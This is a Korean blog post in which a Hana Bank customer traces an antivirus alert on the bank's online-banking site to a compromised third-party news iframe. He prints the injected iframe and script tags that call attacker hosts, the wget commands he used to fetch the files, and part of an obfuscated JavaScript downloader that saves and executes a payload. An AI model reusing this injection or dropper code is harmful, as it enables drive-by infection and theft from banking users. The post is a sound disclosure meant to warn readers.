Real Geeks

'해외 해커'에 해당되는 글 1건

  1. 하나은행 인터넷 뱅킹 홈페이지에 악성코드가? 5

하나은행 인터넷 뱅킹 홈페이지에 악성코드가?

시스템/IT/탐나는정보들

오늘 토요일이다.

새벽 5시경... 웬지 하나은행에 잔액을 확인하고싶어서 들어갔는다
여기저기.. 둘러보던중..

평상시 이것저것 백신을 많이 사용하고 있는데, 오늘은 N사의 백신 경고창이 떠주신다

속으로 에이... 하나은행인데.. iframe이 혹시 박혀있나? 아니겠지..

그래도 치료는 해야지.. 궁금한대?

이런말들을 중얼중얼 거리면서, 마우스 클릭을 시작해주신다

내컴퓨터에 받아진 파일은 main.js

사용자 삽입 이미지


이런 창이 하나가 떳다

사용자 삽입 이미지

내용은 " Trojan-Downloader.HTML.IFrame.ec "

대충 머 홈피에 주로 중국쪽 공격자들이 Iframe 박아서, 자기들이 원하는 프로그램같은
걸 설치해서 먼가를 하려고 하는것

(주로 DDoS 공격모듈도 있고, 광고프로그램 설치되기도하고,, 기타 다양한것들..)

자.. 그렇다면 한번 추적을 해보고싶다.

난 하나은행 고객이다. 내가 쓰는 인터넷 뱅킹이며, 시작할때 유명한 보업업체들의

프로그램들이 쫙쫙 깔린다. <물론 역할마다 분야가 다르겠지만>

일단 보안통신모듈이 설치되고, My Firewall 이라는 작은 방화벽이 하나 깔리고

키보드 보안이라고 안티키로거가 설치가 되고, 머 이것저것 다양하게도 깔린다

컴퓨터가 무거워지도록 말이다. 그런것들을 설치하지 않으면 뱅킹을 할수없는것이

조금 마음에 들진 않지만, 고객을 위한것이니 기꺼이 설치를 해줘야한다.

일단, 어디에 iframe이 깔려있나 확인은 해봐야것다.

애초의 목적은 정상적인데 N사의 백신이 오탐을 하지 않나에서 시작이 된다.

웹소스코드를 보는중.. 느낌가는곳.. 발견

사용자 삽입 이미지

여기를 보면

<iframe src="http:// www.etimes.net/extranews/hanabank/main.asp" width="480" height="75" scrolling="no" frameborder="0"></iframe>

이 부분이 의심..

그리고 접속을 해보았다.

사용자 삽입 이미지

역시 이곳이군..

국내에 있는 이타임즈라는 뉴스 사이트이며, 하나은행에 뉴스를 공급하고 있나보다
저 이타임즈 사이트는 들어가자마자 메인에서 바로 감염될수있으니 접속은 하지않는것
이 역시 좋다

어째거나 하나은행 사이트에서 보여지고 있고, 하나은행 사용자는 저 페이지에 계속

노출이 되고있다.

자 그럼 저 사이트에는 어떤 코드가?

사용자 삽입 이미지

<script src="http://lovekr.super2b.com/main.js"></script>
<iframe width=0 height=0 src='http://218.38.28.68/i/i/ip.htm'></iframe>

main.js와
ip.htm 이 수상하지 않는가?

위주소는 접속하면 아무런 내용이 없고 아래 IP로 된 주소는 페이지가 사라진듯싶다
IP주소로 된곳은 어디인가?
직접 들어가보니 유명 사이버대학교 홈페이지이다

사용자 삽입 이미지

왜 저사이트가 여기에 ip.htm이라는 파일로 iframe으로 박혀있는지는 대충 의심만간다.
혹시 저기도?

자 그럼 위에서 나왔던 lovekr.super2b.com에 있는 파일을 보자..

참고로 저런 파일들은 리눅스에서 wget으로 받아서 보려고 리눅스에 로그인..

[root@localhost test]# wget http://lovekr.super2b.com/main.js
--05:35:28--  http://lovekr.super2b.com/main.js
           => `main.js'
Resolving lovekr.super2b.com... 218.234.23.95
Connecting to lovekr.super2b.com|218.234.23.95|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 283 [application/x-javascript]

100%[====================================>] 283           --.--K/s            

05:35:28 (44.94 MB/s) - `main.js' saved [283/283]

..
..
..
이런식으로 다 받았음


우선 하나은행에서 바로 연결되서 보이는 main.js 파일을 보자

document.write("<iframe width=0 height=0 src=http://lovekr.super2b.com/news.htm></iframe>");
document.write("<iframe width=0 height=0 src=http://lovekr.super2b.com/rss.htm></iframe>");
document.write("<iframe width='0' height='0' src='http://lovekr.super2b.com/dd.htm'></iframe>");

대충 봐도 알겠지만, lovekr 어쩌고하는 수상한 사이트에 news.htm rss.htm dd.htm
파일에 접촉을 하게 된다.

그래서 다 받아버린다

[root@localhost test]# ls
dd.htm  main.js  news.htm  rss.htm
[root@localhost test]#

위에서 부터..

news.htm
---------------------------------------------------------------------
<SCRIPT>window.onerror=function(){return true;}</SCRIPT>
<SCRIPT>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p
..
..
중략(대충 분위기보면 좀 그렇지않은가? haoqiang 이라는 이름도보이고..)
..
..
\\C\\b","");3="";h.1D=1;3="";r.1C("\\1A\\N\\q",J,0);3="";r.1B();3="";j=L(1t);3="";a o=d.p("\\u\\6\\l\\7\\9\\5\\7\\E\\1h\\c\\H\\7\\f\\4\\u\\X\\8\\5\\4\\b\\1s\\t\\K\\4\\6\\5","");3="";a D=o.1k(0);3="";j=o.W(D,j);3="";h.1j();3="";h.1i(r.1m);3="";h.1n(j,2);3="";h.1r();3="";a T=d.p("\\u\\R\\4\\f\\f\\c\\n\\9\\9\\f\\7\\6\\C\\5\\7\\g\\E","");3="";U=o.W(D+\'\\Q\\Q\\8\\X\\8\\5\\4\\b\\i\\B\',\'\\6\\b\\k\\c\\4\\S\\4\');3="";T.1q(U,\'\\1p\\1o\\6 \'+j,"","\\g\\9\\4\\E",0);3=""}1E(V){V=1}3="";',62,103,'|||haoqiang|x65|x74|x63|x69|x73|x70|var|x6D|x2E|Gf|x30|x6C|x6F|Ss|x33|ufeiure|x64|x72||x41|Fs|CreateObject|x54|Xx|x36|x62|x53|x2D|x43|x2f|x2e|x35|x39|x32|x61|pmeds|x6E|iojiij|x4D|x46|x31|omed|x6A|nnneffd|Math|x45|x6f|x44|x5C|x68|x78|Eo|fdfdeeee|iiiii|BuildPath|x79|createElement|setAttribute|x3A|x42|document|x77|x6c|x6d|x76|x75|x6b|x6e|function|x7E|round|x3a|return|random|try|x67|Write|Open|GetSpecialFolder|x38|responseBody|SaveToFile|x2F|x20|SheLLExecute|Close|x4F|9999|x4C|x58|x66|x34|x48|x50|x47|send|open|type|catch'.split('|'),0,{}))
</SCRIPT>

다른 파일들역시..

rss.htm 도
<sCrIpT lAnGuAgE="jAvAsCrIpT">
eval(function(p,a,c,k,e,d){e=function(c) 요딴식으로 시작하고
나이가 나이인만큼 귀찮은건 잘 안하게 되므로 일일이 풀어보긴 싫다

dd.htm도 마찬가지 좀 분위기가 중국놈들이 장난하는듯한 분위기이며

<script language="javascript" src="http://count1.51yes.com/click.aspx?id=11559482&logo=12"></script>

요딴대로 이동하는 코드도 있고.. 대충 분위기 보면 알지않는가
물론 상세하게 분석해보면 아닐수도, 저런류의 코드는 정황상 좋을 수가 없다.

대략 지금까지 보면
시니리오 대충 그려보면

중국해커? -- 은행 사용자 공격을 위해 검토?--> 하나은행사이트 <-- 사용자 접속 -> 감염
                                  이타임즈사 뉴스 링크 확인  <---|
이타임즈사 공격 후 iframe 박아버림   <--------|

만약, 그 iframe을 통하여 설치된 프로그램이, 인터넷 뱅킹 취약점을 이용하여
해당 사용자가 돈을 이체할때 겉으로는 본인이 원하는 곳이지만 실제로는 공격자가
원하는 계좌로 돌려놓는 프로그램을 심었다면, 돈이 공격자가 원하는 곳으로만
가지 않나 하는 생각도 들었다.

최종적으로 하나은행에 다른곳에 어딘가에 더 있을지 여부는 모르겠지만
"소호마스터즈 클럽" 이라는 곳에 적어도 지금은 보지 않는것이 좋겠다.
특히 안전장치가 없는 사람이라면 더더욱이.. 조심해야겠다.


그냥 혹시 다른 궁금한 사람들이 있지 않을까 하는 마음에 포스팅으로 기록해보았다.

p.s) 하나은행 자체에 대한 취약한 부분이 아니고 다양한 연결고리 속에 한곳이 취약하므로
      그곳과 연결된 다양한 곳들에 대해 피해를 입힐수 있다라는 그러한 부분을 알리고싶어
      포스팅을 해본다.
다르게 생각하면 난 해당 은행사 고객이며, 탐지를 하지 않았더라면
      옆에 있는 백신이 없는 컴퓨터를 이용했더라면 당했을것이다.
      이런것이 백신의 중요성이 아니겠는가? 실시간탐지의 매력이기도 하다



      저 페이지를 고칠때까지 저 페이지를 접속하지 않는것을 권장합니다.
     고쳤다면, 댓글하나 남겨주시는 센스 발휘해주세요...